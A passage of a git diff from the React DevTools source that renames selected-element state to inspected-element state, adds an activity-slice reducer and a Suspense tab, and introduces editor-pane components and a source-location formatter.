+      ((inspectedElementID: any): number),
     );
   }
 
   return {
     ...state,
 
-    selectedElementID,
-    selectedElementIndex,
+    inspectedElementID,
+    inspectedElementIndex,
 
     searchIndex,
     searchResults,
@@ -652,14 +657,14 @@ function reduceSearchState(store: Store, state: State, action: Action): State {
 function reduceOwnersState(store: Store, state: State, action: Action): State {
   let {
     numElements,
-    selectedElementID,
-    selectedElementIndex,
     ownerID,
     ownerFlatTree,
+    inspectedElementID,
+    inspectedElementIndex,
   } = state;
   const {searchIndex, searchResults, searchText} = state;
 
-  let prevSelectedElementIndex = selectedElementIndex;
+  let prevInspectedElementIndex = inspectedElementIndex;
 
   switch (action.type) {
     case 'HANDLE_STORE_MUTATION':
@@ -667,75 +672,76 @@ function reduceOwnersState(store: Store, state: State, action: Action): State {
         if (!store.containsElement(ownerID)) {
           ownerID = null;
           ownerFlatTree = null;
-          selectedElementID = null;
+          prevInspectedElementIndex = null;
         } else {
           ownerFlatTree = store.getOwnersListForElement(ownerID);
-          if (selectedElementID !== null) {
+          if (inspectedElementID !== null) {
             // Mutation might have caused the index of this ID to shift.
-            selectedElementIndex = ownerFlatTree.findIndex(
-              element => element.id === selectedElementID,
+            prevInspectedElementIndex = ownerFlatTree.findIndex(
+              element => element.id === inspectedElementID,
             );
           }
         }
       } else {
-        if (selectedElementID !== null) {
+        if (inspectedElementID !== null) {
           // Mutation might have caused the index of this ID to shift.
-          selectedElementIndex = store.getIndexOfElementID(selectedElementID);
+          inspectedElementIndex = store.getIndexOfElementID(inspectedElementID);
         }
       }
-      if (selectedElementIndex === -1) {
+      if (inspectedElementIndex === -1) {
         // If we couldn't find this ID after mutation, unselect it.
-        selectedElementIndex = null;
-        selectedElementID = null;
+        inspectedElementIndex = null;
+        inspectedElementID = null;
       }
       break;
     case 'RESET_OWNER_STACK':
       ownerID = null;
       ownerFlatTree = null;
-      selectedElementIndex =
-        selectedElementID !== null
-          ? store.getIndexOfElementID(selectedElementID)
+      inspectedElementIndex =
+        inspectedElementID !== null
+          ? store.getIndexOfElementID(inspectedElementID)
           : null;
       break;
     case 'SELECT_ELEMENT_AT_INDEX':
       if (ownerFlatTree !== null) {
-        selectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX).payload;
+        inspectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX)
+          .payload;
       }
       break;
     case 'SELECT_ELEMENT_BY_ID':
       if (ownerFlatTree !== null) {
         const payload = (action: ACTION_SELECT_ELEMENT_BY_ID).payload;
         if (payload === null) {
-          selectedElementIndex = null;
+          inspectedElementIndex = null;
         } else {
-          selectedElementIndex = ownerFlatTree.findIndex(
+          inspectedElementIndex = ownerFlatTree.findIndex(
             element => element.id === payload,
           );
 
           // If the selected element is outside of the current owners list,
           // exit the list and select the element in the main tree.
           // This supports features like toggling Suspense.
-          if (selectedElementIndex !== null && selectedElementIndex < 0) {
+          if (inspectedElementIndex !== null && inspectedElementIndex < 0) {
             ownerID = null;
             ownerFlatTree = null;
-            selectedElementIndex = store.getIndexOfElementID(payload);
+            inspectedElementIndex = store.getIndexOfElementID(payload);
           }
         }
       }
       break;
     case 'SELECT_NEXT_ELEMENT_IN_TREE':
       if (ownerFlatTree !== null && ownerFlatTree.length > 0) {
-        if (selectedElementIndex === null) {
-          selectedElementIndex = 0;
-        } else if (selectedElementIndex + 1 < ownerFlatTree.length) {
-          selectedElementIndex++;
+        if (inspectedElementIndex === null) {
+          inspectedElementIndex = 0;
+        } else if (inspectedElementIndex + 1 < ownerFlatTree.length) {
+          inspectedElementIndex++;
         }
       }
       break;
     case 'SELECT_PREVIOUS_ELEMENT_IN_TREE':
       if (ownerFlatTree !== null && ownerFlatTree.length > 0) {
-        if (selectedElementIndex !== null && selectedElementIndex > 0) {
-          selectedElementIndex--;
+        if (inspectedElementIndex !== null && inspectedElementIndex > 0) {
+          inspectedElementIndex--;
         }
       }
       break;
@@ -747,8 +753,8 @@ function reduceOwnersState(store: Store, state: State, action: Action): State {
         ownerFlatTree = store.getOwnersListForElement(ownerID);
 
         // Always force reset selection to be the top of the new owner tree.
-        selectedElementIndex = 0;
-        prevSelectedElementIndex = null;
+        inspectedElementIndex = 0;
+        prevInspectedElementIndex = null;
       }
       break;
     default:
@@ -769,12 +775,12 @@ function reduceOwnersState(store: Store, state: State, action: Action): State {
   }
 
   // Keep selected item ID and index in sync.
-  if (selectedElementIndex !== prevSelectedElementIndex) {
-    if (selectedElementIndex === null) {
-      selectedElementID = null;
+  if (inspectedElementIndex !== prevInspectedElementIndex) {
+    if (inspectedElementIndex === null) {
+      inspectedElementID = null;
     } else {
       if (ownerFlatTree !== null) {
-        selectedElementID = ownerFlatTree[selectedElementIndex].id;
+        inspectedElementID = ownerFlatTree[inspectedElementIndex].id;
       }
     }
   }
@@ -783,8 +789,6 @@ function reduceOwnersState(store: Store, state: State, action: Action): State {
     ...state,
 
     numElements,
-    selectedElementID,
-    selectedElementIndex,
 
     searchIndex,
     searchResults,
@@ -792,29 +796,38 @@ function reduceOwnersState(store: Store, state: State, action: Action): State {
 
     ownerID,
     ownerFlatTree,
+
+    inspectedElementID,
+    inspectedElementIndex,
   };
 }
 
-function reduceSuspenseState(
+function reduceActivityState(
   store: Store,
   state: State,
   action: Action,
 ): State {
-  const {type} = action;
-  switch (type) {
-    case 'UPDATE_INSPECTED_ELEMENT_ID':
-      if (state.inspectedElementID !== state.selectedElementID) {
+  switch (action.type) {
+    case 'HANDLE_STORE_MUTATION':
+      let {activityID} = state;
+      const [, , activitySliceIDChange] = action.payload;
+      const activities = store.getActivities();
+      if (activitySliceIDChange === 0 && activityID !== null) {
+        activityID = null;
+      } else if (
+        activitySliceIDChange !== null &&
+        activitySliceIDChange !== activityID
+      ) {
+        activityID = activitySliceIDChange;
+      }
+      if (activityID !== state.activityID || activities !== state.activities) {
         return {
           ...state,
-          inspectedElementID: state.selectedElementID,
+          activityID,
+          activities,
         };
       }
-      break;
-    default:
-      break;
   }
-
-  // React can bailout of no-op updates.
   return state;
 }
 
@@ -822,21 +835,61 @@ type Props = {
   children: React$Node,
 
   // Used for automated testing
-  defaultInspectedElementID?: ?number,
   defaultOwnerID?: ?number,
-  defaultSelectedElementID?: ?number,
-  defaultSelectedElementIndex?: ?number,
+  defaultInspectedElementID?: ?number,
+  defaultInspectedElementIndex?: ?number,
 };
 
+function getInitialState({
+  defaultOwnerID,
+  defaultInspectedElementID,
+  defaultInspectedElementIndex,
+  store,
+}: {
+  defaultOwnerID?: ?number,
+  defaultInspectedElementID?: ?number,
+  defaultInspectedElementIndex?: ?number,
+  store: Store,
+}): State {
+  return {
+    // Tree
+    numElements: store.numElements,
+    ownerSubtreeLeafElementID: null,
+
+    // Search
+    searchIndex: null,
+    searchResults: [],
+    searchText: '',
+
+    // Owners
+    ownerID: defaultOwnerID == null ? null : defaultOwnerID,
+    ownerFlatTree: null,
+
+    // Activity slice
+    activityID: null,
+    activities: store.getActivities(),
+
+    // Inspection element panel
+    inspectedElementID:
+      defaultInspectedElementID != null
+        ? defaultInspectedElementID
+        : store.lastSelectedHostInstanceElementId,
+    inspectedElementIndex:
+      defaultInspectedElementIndex != null
+        ? defaultInspectedElementIndex
+        : store.lastSelectedHostInstanceElementId
+          ? store.getIndexOfElementID(store.lastSelectedHostInstanceElementId)
+          : null,
+  };
+}
+
 // TODO Remove TreeContextController wrapper element once global Context.write API exists.
 function TreeContextController({
   children,
-  defaultInspectedElementID,
   defaultOwnerID,
-  defaultSelectedElementID,
-  defaultSelectedElementIndex,
+  defaultInspectedElementID,
+  defaultInspectedElementIndex,
 }: Props): React.Node {
-  const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
 
   const initialRevision = useMemo(() => store.revision, [store]);
@@ -866,23 +919,23 @@ function TreeContextController({
           case 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE':
           case 'SELECT_PREVIOUS_SIBLING_IN_TREE':
           case 'SELECT_OWNER':
-          case 'UPDATE_INSPECTED_ELEMENT_ID':
           case 'SET_SEARCH_TEXT':
             state = reduceTreeState(store, state, action);
             state = reduceSearchState(store, state, action);
             state = reduceOwnersState(store, state, action);
-            state = reduceSuspenseState(store, state, action);
+            state = reduceActivityState(store, state, action);
 
+            // TODO(hoxyq): review
             // If the selected ID is in a collapsed subtree, reset the selected index to null.
             // We'll know the correct index after the layout effect will toggle the tree,
             // and the store tree is mutated to account for that.
             if (
-              state.selectedElementID !== null &&
-              store.isInsideCollapsedSubTree(state.selectedElementID)
+              state.inspectedElementID !== null &&
+              store.isInsideCollapsedSubTree(state.inspectedElementID)
             ) {
               return {
                 ...state,
-                selectedElementIndex: null,
+                inspectedElementIndex: null,
               };
             }
 
@@ -894,72 +947,60 @@ function TreeContextController({
     [store],
   );
 
-  const [state, dispatch] = useReducer(reducer, {
-    // Tree
-    numElements: store.numElements,
-    ownerSubtreeLeafElementID: null,
-    selectedElementID:
-      defaultSelectedElementID == null ? null : defaultSelectedElementID,
-    selectedElementIndex:
-      defaultSelectedElementIndex == null ? null : defaultSelectedElementIndex,
-
-    // Search
-    searchIndex: null,
-    searchResults: [],
-    searchText: '',
-
-    // Owners
-    ownerID: defaultOwnerID == null ? null : defaultOwnerID,
-    ownerFlatTree: null,
-
-    // Inspection element panel
-    inspectedElementID:
-      defaultInspectedElementID == null ? null : defaultInspectedElementID,
-  });
-
-  const dispatchWrapper = useCallback(
-    (action: Action) => {
-      dispatch(action);
-      startTransition(() => {
-        dispatch({type: 'UPDATE_INSPECTED_ELEMENT_ID'});
-      });
+  const [state, dispatch] = useReducer(
+    reducer,
+    {
+      defaultOwnerID,
+      defaultInspectedElementID,
+      defaultInspectedElementIndex,
+      store,
     },
+    getInitialState,
+  );
+  const transitionDispatch = useMemo(
+    () => (action: Action) =>
+      startTransition(() => {
+        dispatch(action);
+      }),
     [dispatch],
   );
 
   // Listen for host element selections.
   useEffect(() => {
-    const handleSelectFiber = (id: number) =>
-      dispatchWrapper({type: 'SELECT_ELEMENT_BY_ID', payload: id});
-    bridge.addListener('selectFiber', handleSelectFiber);
-    return () => bridge.removeListener('selectFiber', handleSelectFiber);
-  }, [bridge, dispatchWrapper]);
+    const handler = (id: Element['id'] | null) => {
+      transitionDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});
+    };
+
+    store.addListener('hostInstanceSelected', handler);
+    return () => store.removeListener('hostInstanceSelected', handler);
+  }, [store, transitionDispatch]);
 
   // If a newly-selected search result or inspection selection is inside of a collapsed subtree, auto expand it.
   // This needs to be a layout effect to avoid temporarily flashing an incorrect selection.
-  const prevSelectedElementID = useRef<number | null>(null);
+  const prevInspectedElementID = useRef<number | null>(null);
   useLayoutEffect(() => {
-    if (state.selectedElementID !== prevSelectedElementID.current) {
-      prevSelectedElementID.current = state.selectedElementID;
+    if (state.inspectedElementID !== prevInspectedElementID.current) {
+      prevInspectedElementID.current = state.inspectedElementID;
 
-      if (state.selectedElementID !== null) {
-        const element = store.getElementByID(state.selectedElementID);
+      if (state.inspectedElementID !== null) {
+        const element = store.getElementByID(state.inspectedElementID);
         if (element !== null && element.parentID > 0) {
           store.toggleIsCollapsed(element.parentID, false);
         }
       }
     }
-  }, [state.selectedElementID, store]);
+  }, [state.inspectedElementID, store]);
 
   // Mutations to the underlying tree may impact this context (e.g. search results, selection state).
   useEffect(() => {
-    const handleStoreMutated = ([addedElementIDs, removedElementIDs]: [
-      Array<number>,
-      Map<number, number>,
-    ]) => {
-      dispatchWrapper({
+    const handleStoreMutated = ([
+      addedElementIDs,
+      removedElementIDs,
+      activitySliceIDChange,
+    ]: [Array<number>, Map<number, number>, null | Element['id']]) => {
+      dispatch({
         type: 'HANDLE_STORE_MUTATION',
-        payload: [addedElementIDs, removedElementIDs],
+        payload: [addedElementIDs, removedElementIDs, activitySliceIDChange],
       });
     };
 
@@ -968,20 +1009,19 @@ function TreeContextController({
       // At the moment, we can treat this as a mutation.
       // We don't know which Elements were newly added/removed, but that should be okay in this case.
       // It would only impact the search state, which is unlikely to exist yet at this point.
-      dispatchWrapper({
+      dispatch({
         type: 'HANDLE_STORE_MUTATION',
-        payload: [[], new Map()],
+        payload: [[], new Map(), null],
       });
     }
 
     store.addListener('mutated', handleStoreMutated);
-
     return () => store.removeListener('mutated', handleStoreMutated);
-  }, [dispatchWrapper, initialRevision, store]);
+  }, [dispatch, initialRevision, store]);
 
   return (
     <TreeStateContext.Provider value={state}>
-      <TreeDispatcherContext.Provider value={dispatchWrapper}>
+      <TreeDispatcherContext.Provider value={transitionDispatch}>
         {children}
       </TreeDispatcherContext.Provider>
     </TreeStateContext.Provider>
@@ -999,7 +1039,14 @@ function recursivelySearchTree(
     return;
   }
 
-  const {children, displayName, hocDisplayNames, compiledWithForget} = element;
+  const {
+    children,
+    displayName,
+    hocDisplayNames,
+    compiledWithForget,
+    key,
+    nameProp,
+  } = element;
   if (displayName != null && regExp.test(displayName) === true) {
     searchResults.push(elementID);
   } else if (
@@ -1010,6 +1057,10 @@ function recursivelySearchTree(
     searchResults.push(elementID);
   } else if (compiledWithForget && regExp.test('Forget')) {
     searchResults.push(elementID);
+  } else if (typeof key === 'string' && regExp.test(key)) {
+    searchResults.push(elementID);
+  } else if (typeof nameProp === 'string' && regExp.test(nameProp)) {
+    searchResults.push(elementID);
   }
 
   children.forEach(childID =>
@@ -1020,11 +1071,11 @@ function recursivelySearchTree(
 function getNearestResultIndex(
   store: Store,
   searchResults: Array<number>,
-  selectedElementIndex: number,
+  inspectedElementIndex: number,
 ): number {
   const index = searchResults.findIndex(id => {
     const innerIndex = store.getIndexOfElementID(id);
-    return innerIndex !== null && innerIndex >= selectedElementIndex;
+    return innerIndex !== null && innerIndex >= inspectedElementIndex;
   });
 
   return index === -1 ? 0 : index;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/formatLocationForDisplay.js b/packages/react-devtools-shared/src/devtools/views/Components/formatLocationForDisplay.js
new file mode 100644
index 000000000000..9bf693fe33d2
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/formatLocationForDisplay.js
@@ -0,0 +1,48 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {toNormalUrl} from 'jsc-safe-url';
+
+// This function is based on describeComponentFrame() in packages/shared/ReactComponentStackFrame
+export default function formatLocationForDisplay(
+  sourceURL: string,
+  line: number,
+  column: number,
+): string {
+  // Metro can return JSC-safe URLs, which have `//&` as a delimiter
+  // https://www.npmjs.com/package/jsc-safe-url
+  const sanitizedSourceURL = sourceURL.includes('//&')
+    ? toNormalUrl(sourceURL)
+    : sourceURL;
+
+  // Note: this RegExp doesn't work well with URLs from Metro,
+  // which provides bundle URL with query parameters prefixed with /&
+  const BEFORE_SLASH_RE = /^(.*)[\\\/]/;
+
+  let nameOnly = sanitizedSourceURL.replace(BEFORE_SLASH_RE, '');
+
+  // In DEV, include code for a common special case:
+  // prefer "folder/index.js" instead of just "index.js".
+  if (/^index\./.test(nameOnly)) {
+    const match = sanitizedSourceURL.match(BEFORE_SLASH_RE);
+    if (match) {
+      const pathBeforeSlash = match[1];
+      if (pathBeforeSlash) {
+        const folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');
+        nameOnly = folderName + '/' + nameOnly;
+      }
+    }
+  }
+
+  if (line === 0) {
+    return nameOnly;
+  }
+
+  return `${nameOnly}:${line}`;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/DevTools.css b/packages/react-devtools-shared/src/devtools/views/DevTools.css
index 8091c15b8484..0230860b9454 100644
--- a/packages/react-devtools-shared/src/devtools/views/DevTools.css
+++ b/packages/react-devtools-shared/src/devtools/views/DevTools.css
@@ -5,6 +5,8 @@
   flex-direction: column;
   background-color: var(--color-background);
   color: var(--color-text);
+  container-name: devtools;
+  container-type: inline-size;
 }
 
 .TabBar {
diff --git a/packages/react-devtools-shared/src/devtools/views/DevTools.js b/packages/react-devtools-shared/src/devtools/views/DevTools.js
index 9bee64ff9515..bf541f667287 100644
--- a/packages/react-devtools-shared/src/devtools/views/DevTools.js
+++ b/packages/react-devtools-shared/src/devtools/views/DevTools.js
@@ -23,13 +23,18 @@ import {
 } from './context';
 import Components from './Components/Components';
 import Profiler from './Profiler/Profiler';
+import SuspenseTab from './SuspenseTab/SuspenseTab';
 import TabBar from './TabBar';
+import EditorPane from './Editor/EditorPane';
+import InspectedElementPane from './InspectedElement/InspectedElementPane';
 import {SettingsContextController} from './Settings/SettingsContext';
 import {TreeContextController} from './Components/TreeContext';
 import ViewElementSourceContext from './Components/ViewElementSourceContext';
 import FetchFileWithCachingContext from './Components/FetchFileWithCachingContext';
+import {InspectedElementContextController} from './Components/InspectedElementContext';
 import HookNamesModuleLoaderContext from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';
 import {ProfilerContextController} from './Profiler/ProfilerContext';
+import {SuspenseTreeContextController} from './SuspenseTab/SuspenseTreeContext';
 import {TimelineContextController} from 'react-devtools-timeline/src/TimelineContext';
 import {ModalDialogContextController} from './ModalDialog';
 import ReactLogo from './ReactLogo';
@@ -49,21 +54,22 @@ import type {FetchFileWithCaching} from './Components/FetchFileWithCachingContex
 import type {HookNamesModuleLoaderFunction} from 'react-devtools-shared/src/devtools/views/Components/HookNamesModuleLoaderContext';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
 import type {BrowserTheme} from 'react-devtools-shared/src/frontend/types';
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';
+import type {SourceSelection} from './Editor/EditorPane';
 
-export type TabID = 'components' | 'profiler';
+export type TabID = 'components' | 'profiler' | 'suspense';
 
 export type ViewElementSource = (
-  source: Source,
-  symbolicatedSource: Source | null,
+  source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ) => void;
 export type ViewAttributeSource = (
   id: number,
   path: Array<string | number>,
 ) => void;
 export type CanViewElementSource = (
-  source: Source,
-  symbolicatedSource: Source | null,
+  source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ) => boolean;
 
 export type Props = {
@@ -95,7 +101,12 @@ export type Props = {
   // The root <DevTools> app is rendered in the top-level extension window,
   // but individual tabs (e.g. Components, Profiling) can be rendered into portals within their browser panels.
   componentsPortalContainer?: Element,
+  inspectedElementPortalContainer?: Element,
   profilerPortalContainer?: Element,
+  suspensePortalContainer?: Element,
+  editorPortalContainer?: Element,
+
+  currentSelectedSource?: null | SourceSelection,
 
   // Loads and parses source maps for function components
   // and extracts hook "names" based on the variables the hook return values get assigned to.
@@ -117,20 +128,30 @@ const profilerTab = {
   label: 'Profiler',
   title: 'React Profiler',
 };
+const suspenseTab = {
+  id: ('suspense': TabID),
+  icon: 'suspense',
+  label: 'Suspense',
+  title: 'React Suspense',
+};
 
-const tabs = [componentsTab, profilerTab];
+const tabs = [componentsTab, profilerTab, suspenseTab];
 
 export default function DevTools({
   bridge,
   browserTheme = 'light',
   canViewElementSourceFunction,
   componentsPortalContainer,
+  editorPortalContainer,
+  inspectedElementPortalContainer,
+  profilerPortalContainer,
+  suspensePortalContainer,
+  currentSelectedSource,
   defaultTab = 'components',
   enabledInspectedElementContextMenu = false,
   fetchFileWithCaching,
   hookNamesModuleLoaderFunction,
   overrideTab,
-  profilerPortalContainer,
   showTabBar = false,
   store,
   warnIfLegacyBackendDetected = false,
@@ -164,6 +185,8 @@ export default function DevTools({
       if (showTabBar === true) {
         if (tabId === 'components') {
           logEvent({event_name: 'selected-components-tab'});
+        } else if (tabId === 'suspense') {
+          logEvent({event_name: 'selected-suspense-tab'});
         } else {
           logEvent({event_name: 'selected-profiler-tab'});
         }
@@ -234,6 +257,13 @@ export default function DevTools({
             event.preventDefault();
             event.stopPropagation();
             break;
+          case '3':
+            if (tabs.length > 2) {
+              selectTab(tabs[2].id);
+              event.preventDefault();
+              event.stopPropagation();
+            }
+            break;
         }
       }
     };
@@ -276,43 +306,75 @@ export default function DevTools({
                       <TreeContextController>
                         <ProfilerContextController>
                           <TimelineContextController>
-                            <ThemeProvider>
-                              <div
-                                className={styles.DevTools}
-                                ref={devToolsRef}
-                                data-react-devtools-portal-root={true}>
-                                {showTabBar && (
-                                  <div className={styles.TabBar}>
-                                    <ReactLogo />
-                                    <span className={styles.DevToolsVersion}>
-                                      {process.env.DEVTOOLS_VERSION}
-                                    </span>
-                                    <div className={styles.Spacer} />
-                                    <TabBar
-                                      currentTab={tab}
-                                      id="DevTools"
-                                      selectTab={selectTab}
-                                      tabs={tabs}
-                                      type="navigation"
-                                    />
+                            <InspectedElementContextController>
+                              <SuspenseTreeContextController>
+                                <ThemeProvider>
+                                  <div
+                                    className={styles.DevTools}
+                                    ref={devToolsRef}
+                                    data-react-devtools-portal-root={true}>
+                                    {showTabBar && (
+                                      <div className={styles.TabBar}>
+                                        <ReactLogo />
+                                        <span
+                                          className={styles.DevToolsVersion}>
+                                          {process.env.DEVTOOLS_VERSION}
+                                        </span>
+                                        <div className={styles.Spacer} />
+                                        <TabBar
+                                          currentTab={tab}
+                                          id="DevTools"
+                                          selectTab={selectTab}
+                                          tabs={tabs}
+                                          type="navigation"
+                                        />
+                                      </div>
+                                    )}
+                                    <div
+                                      className={styles.TabContent}
+                                      hidden={tab !== 'components'}>
+                                      <Components
+                                        portalContainer={
+                                          componentsPortalContainer
+                                        }
+                                      />
+                                    </div>
+                                    <div
+                                      className={styles.TabContent}
+                                      hidden={tab !== 'profiler'}>
+                                      <Profiler
+                                        portalContainer={
+                                          profilerPortalContainer
+                                        }
+                                      />
+                                    </div>
+                                    <div
+                                      className={styles.TabContent}
+                                      hidden={tab !== 'suspense'}>
+                                      <SuspenseTab
+                                        portalContainer={
+                                          suspensePortalContainer
+                                        }
+                                      />
+                                    </div>
                                   </div>
-                                )}
-                                <div
-                                  className={styles.TabContent}
-                                  hidden={tab !== 'components'}>
-                                  <Components
-                                    portalContainer={componentsPortalContainer}
-                                  />
-                                </div>
-                                <div
-                                  className={styles.TabContent}
-                                  hidden={tab !== 'profiler'}>
-                                  <Profiler
-                                    portalContainer={profilerPortalContainer}
-                                  />
-                                </div>
-                              </div>
-                            </ThemeProvider>
+                                  {editorPortalContainer ? (
+                                    <EditorPane
+                                      selectedSource={currentSelectedSource}
+                                      portalContainer={editorPortalContainer}
+                                    />
+                                  ) : null}
+                                  {inspectedElementPortalContainer ? (
+                                    <InspectedElementPane
+                                      selectedSource={currentSelectedSource}
+                                      portalContainer={
+                                        inspectedElementPortalContainer
+                                      }
+                                    />
+                                  ) : null}
+                                </ThemeProvider>
+                              </SuspenseTreeContextController>
+                            </InspectedElementContextController>
                           </TimelineContextController>
                         </ProfilerContextController>
                       </TreeContextController>
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.css b/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.css
new file mode 100644
index 000000000000..a4a4adbfa9f6
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.css
@@ -0,0 +1,38 @@
+.EditorPane {
+  position: relative;
+  display: block;
+  background-color: var(--color-background);
+  color: var(--color-text);
+  font-family: var(--font-family-sans);
+}
+
+.EditorPane, .EditorPane * {
+  box-sizing: border-box;
+  -webkit-font-smoothing: var(--font-smoothing);
+}
+
+.EditorToolbar {
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  padding: 0.5rem;
+  border-bottom: 1px solid var(--color-border);
+}
+
+.EditorInfo {
+  padding: 0.5rem;
+  text-align: center;
+}
+
+.VRule {
+  height: 20px;
+  width: 1px;
+  flex: 0 0 1px;
+  margin: 0 0.5rem;
+  background-color: var(--color-border);
+}
+
+.WideButton {
+  flex: 1 0 auto;
+  display: flex;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.js b/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.js
new file mode 100644
index 000000000000..8237a59956d1
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/EditorPane.js
@@ -0,0 +1,118 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+import {useState, startTransition} from 'react';
+
+import portaledContent from '../portaledContent';
+
+import styles from './EditorPane.css';
+
+import Button from 'react-devtools-shared/src/devtools/views/Button';
+import ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';
+
+import OpenInEditorButton from './OpenInEditorButton';
+import useEditorURL from '../useEditorURL';
+
+import EditorSettings from './EditorSettings';
+import CodeEditorByDefault from '../Settings/CodeEditorByDefault';
+
+export type SourceSelection = {
+  url: string,
+  // The selection is a ref so that we don't have to rerender every keystroke.
+  selectionRef: {
+    line: number,
+    column: number,
+  },
+};
+
+export type Props = {selectedSource: ?SourceSelection};
+
+function EditorPane({selectedSource}: Props) {
+  const [showSettings, setShowSettings] = useState(false);
+  const [showLinkInfo, setShowLinkInfo] = useState(false);
+
+  const editorURL = useEditorURL();
+
+  if (showLinkInfo) {
+    return (
+      <div className={styles.EditorPane}>
+        <div className={styles.EditorToolbar}>
+          <div style={{display: 'flex', flex: '1 1 auto'}}>
+            To enable link handling in your browser's DevTools settings, look
+            for the option Extension -> Link Handling. Select "React Developer
+            Tools".
+          </div>
+          <div className={styles.VRule} />
+          <Button
+            onClick={() =>
+              startTransition(() => {
+                setShowLinkInfo(false);
+                setShowSettings(false);
+              })
+            }>
+            <ButtonIcon type="close" />
+          </Button>
+        </div>
+      </div>
+    );
+  }
+
+  let editorToolbar;
+  if (showSettings) {
+    editorToolbar = (
+      <div className={styles.EditorToolbar}>
+        <EditorSettings />
+        <div className={styles.VRule} />
+        <Button onClick={() => startTransition(() => setShowSettings(false))}>
+          <ButtonIcon type="close" />
+        </Button>
+      </div>
+    );
+  } else {
+    editorToolbar = (
+      <div className={styles.EditorToolbar}>
+        <OpenInEditorButton
+          className={styles.WideButton}
+          editorURL={editorURL}
+          source={selectedSource}
+        />
+        <div className={styles.VRule} />
+        <Button
+          onClick={() => startTransition(() => setShowSettings(true))}
+          // We don't use the title here because we don't have enough space to show it.
+          // Once we expand this pane we can add it.
+          // title="Configure code editor"
+        >
+          <ButtonIcon type="settings" />
+        </Button>
+      </div>
+    );
+  }
+
+  return (
+    <div className={styles.EditorPane}>
+      {editorToolbar}
+      <div className={styles.EditorInfo}>
+        {editorURL ? (
+          <CodeEditorByDefault
+            onChange={alwaysOpenInEditor => {
+              if (alwaysOpenInEditor) {
+                startTransition(() => setShowLinkInfo(true));
+              }
+            }}
+          />
+        ) : (
+          'Configure an external editor to open local files.'
+        )}
+      </div>
+    </div>
+  );
+}
+export default (portaledContent(EditorPane): component());
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.css b/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.css
new file mode 100644
index 000000000000..f674441499be
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.css
@@ -0,0 +1,9 @@
+.EditorSettings {
+  display: flex;
+  flex: 1 0 auto;
+}
+
+.EditorLabel {
+  display: inline;
+  margin-right: 0.5rem;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.js b/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.js
new file mode 100644
index 000000000000..40466cc778c4
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/EditorSettings.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+import styles from './EditorSettings.css';
+
+import CodeEditorOptions from '../Settings/CodeEditorOptions';
+
+type Props = {};
+
+function EditorSettings(_: Props): React.Node {
+  return (
+    <div className={styles.EditorSettings}>
+      <label>
+        <div className={styles.EditorLabel}>Editor</div>
+        <CodeEditorOptions />
+      </label>
+    </div>
+  );
+}
+
+export default EditorSettings;
diff --git a/packages/react-devtools-shared/src/devtools/views/Editor/OpenInEditorButton.js b/packages/react-devtools-shared/src/devtools/views/Editor/OpenInEditorButton.js
new file mode 100644
index 000000000000..68c6981655fa
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Editor/OpenInEditorButton.js
@@ -0,0 +1,93 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+import Button from 'react-devtools-shared/src/devtools/views/Button';
+import ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';
+import ButtonLabel from 'react-devtools-shared/src/devtools/views/ButtonLabel';
+
+import type {SourceSelection} from './EditorPane';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
+
+import {checkConditions} from './utils';
+
+type Props = {
+  editorURL: string,
+  source: ?SourceSelection,
+  className?: string,
+};
+
+function ActualOpenInEditorButton({
+  editorURL,
+  source,
+  className,
+}: Props): React.Node {
+  let disable;
+  if (source == null) {
+    disable = true;
+  } else {
+    const staleLocation: ReactFunctionLocation = [
+      '',
+      source.url,
+      // This is not live but we just use any line/column to validate whether this can be opened.
+      // We'll call checkConditions again when we click it to get the latest line number.
+      source.selectionRef.line,
+      source.selectionRef.column,
+    ];
